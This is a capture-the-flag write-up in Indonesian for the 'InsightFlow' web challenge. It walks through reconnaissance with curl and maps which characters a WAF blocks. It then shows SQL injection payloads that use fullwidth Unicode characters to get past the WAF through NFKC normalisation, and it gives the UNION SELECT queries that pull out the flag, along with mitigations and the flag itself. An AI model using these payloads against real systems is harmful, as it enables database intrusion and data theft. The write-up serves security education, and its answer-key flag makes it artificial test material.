KAPOLRI CUP 2026: InsightFlow Analysis
InsightFlow Analytics — Product Search (SQLi via NFKC WAF Bypass)
Kategori: Web / SQL Injection / WAF Bypass
Target: http://18.143.187.232:8089/
Flag: polriCTF26{un1c0d3_n0rm4l1z4t10n_pr0xy_w4f_byp4ss}
Ringkasan Solusi
- Recon — Aplikasi hanya mengekspos
GET /api/products?q=<name>(search produk). Di belakangnya ada “next-gen edge WAF” (Envoy) bernamainsightflow-waf. - Deteksi SQLi —
q=%danq=_mengembalikan semua produk (LIKE wildcard), berarti queryWHERE name LIKE '%<q>%'. - Petakan WAF — WAF memblokir byte ASCII
',", backtick,--, dan keyword SQL (UNION, SELECT, information_schema, pg_*, OR 1=1, dll). - Kunci bug — WAF cek byte mentah dari input, sedangkan backend melakukan normalisasi Unicode NFKC saat menyusun query. Artinya karakter fullwidth yang NFKC-normalisasi ke ASCII lolos WAF tapi jadi SQL sungguhan di sisi DB.
- Bypass — semua keyword dan delimiter ditulis fullwidth:
'(U+FF07) →'--(U+FF0D U+FF0D) →--(komentar)UNION→UNION,SELECT→SELECT, dst.
- Enumerasi —
information_schema.tables→ ketemu tabelctf_flag. - Ekstraksi — kolom
id,flag,note; baris flag terbaca.
Recon Detail
1. Pengenalan Aplikasi
curl http://18.143.187.232:8089/
# {"service":"InsightFlow Analytics API","version":"3.2.1","endpoints":["/api/health","/api/products?q=<name>"]}
curl "http://18.143.187.232:8089/api/products?q=a"
# {"q":"a","count":8,"rows":[{"id":1,"name":"Quantum Router X1","category":"network"}, ...]}
/api/health → {"ok":true}. Tidak ada endpoint lain (fuzz → hanya 4 route).
2. Deteksi Wildcard LIKE
q=% -> count 10 (semua produk)
q=_ -> count 10 (semua produk, _ = wildcard 1 char)
q=* -> count 0 (bukan wildcard di SQL)
Kesimpulan: query-nya SELECT id, name, category FROM products WHERE name LIKE '%<q>%' dan input diinterpolasi langsung.
3. Petakan Aturan WAF
Dicoba satu per satu (dengan jeda agar tidak kena rate-limit):
| Input | Hasil |
|---|---|
' (ASCII) | 403 blocked by insightflow-waf |
", ` | 403 |
-- (ASCII) | 403 |
UNION, SELECT, FROM, WHERE, OR, AND, LIKE | 403 (raw ASCII) |
information_schema, pg_tables, pg_class, current_database, dll | 403 (raw ASCII) |
OR 1=1 | 403 |
| semua karakter lain | 200 |
WAF memblokir berdasarkan byte mentah dari query parameter (setelah URL-decode), termasuk keyword SQL dan DB-introspection.
4. Uji Injeksi
Dengan kutip fullwidth ' (U+FF07):
q=' OR '1'='1 -> count 10 (semua produk) => INJEKSI BERHASIL
q=' ORDER BY 3 -- -> count 10 (3 kolom)
q=' ORDER BY 4 -- -> count 0 (tidak ada kolom ke-4)
' disuntikkan sebagai ' asli ke query, sementara WAF tidak melihatnya (byte mentah berbeda). -- → -- menjadi komentar yang valid (PostgreSQL), menutup sisa template %'.
5. Identifikasi DBMS = PostgreSQL
#tidak berfungsi sebagai komentar (hanya--valid) → bukan MySQL.UNION SELECT 1,2,3error (tipe int vs text tidak cocok) tapiUNION SELECT 999,'FLAGDATA','FLAGCAT'sukses → PostgreSQL dengan kolomidint,name/categorytext.
Eksploitasi
Konvensi Payload
Semua huruf keyword/identifier ditulis fullwidth (WAF lolos), delimiter ' dan -- juga fullwidth; angka, koma, underscore, titik dibiarkan ASCII (tidak diblokir).
Q = "'" # -> '
CM = "-- " # -> -- (komentar)
Payload dasar UNION (3 kolom, tipe cocok):
' UNION SELECT 1,table_name,'x' FROM information_schema.tables --
Normalisasi di DB menjadi:
SELECT id, name, category FROM products
WHERE name LIKE '%' UNION SELECT 1, table_name, 'x' FROM information_schema.tables -- %'
1. Enumerasi Tabel
SELECT 1, table_name, 'x' FROM information_schema.tables WHERE table_schema='public'
Hasil memuat tabel: products dan ctf_flag.
2. Enumerasi Kolom
SELECT 1, column_name, 'x' FROM information_schema.columns WHERE table_name='ctf_flag'
Kolom: id, flag, note.
3. Ambil Flag
SELECT 1, flag, note FROM ctf_flag
Hasil:
id=1, flag=polriCTF26{un1c0d3_n0rm4l1z4t10n_pr0xy_w4f_byp4ss}, note=do-not-expose-through-search
Note baris itu persis menggambarkan kenapa ops mengira baris ini mustahil dijangkau lewat kotak pencarian.
Script Solver
Lihat insightflow_solve.py di direktori yang sama.
python3 insightflow_solve.py
Mitigasi
- WAF harus melakukan normalisasi Unicode (NFKC) yang sama dengan aplikasi sebelum inspeksi, atau blokir karakter kontrol/ambigu yang bisa di-NFKC-kan.
- Aplikasi harus parameterized query (prepared statement), bukan interpolasi string
LIKE '%${q}%'. - Jangan pernah menyimpan secret/flag di tabel yang bisa dijangkau DB injection; pisahkan privilege DB.
Flag
polriCTF26{un1c0d3_n0rm4l1z4t10n_pr0xy_w4f_byp4ss}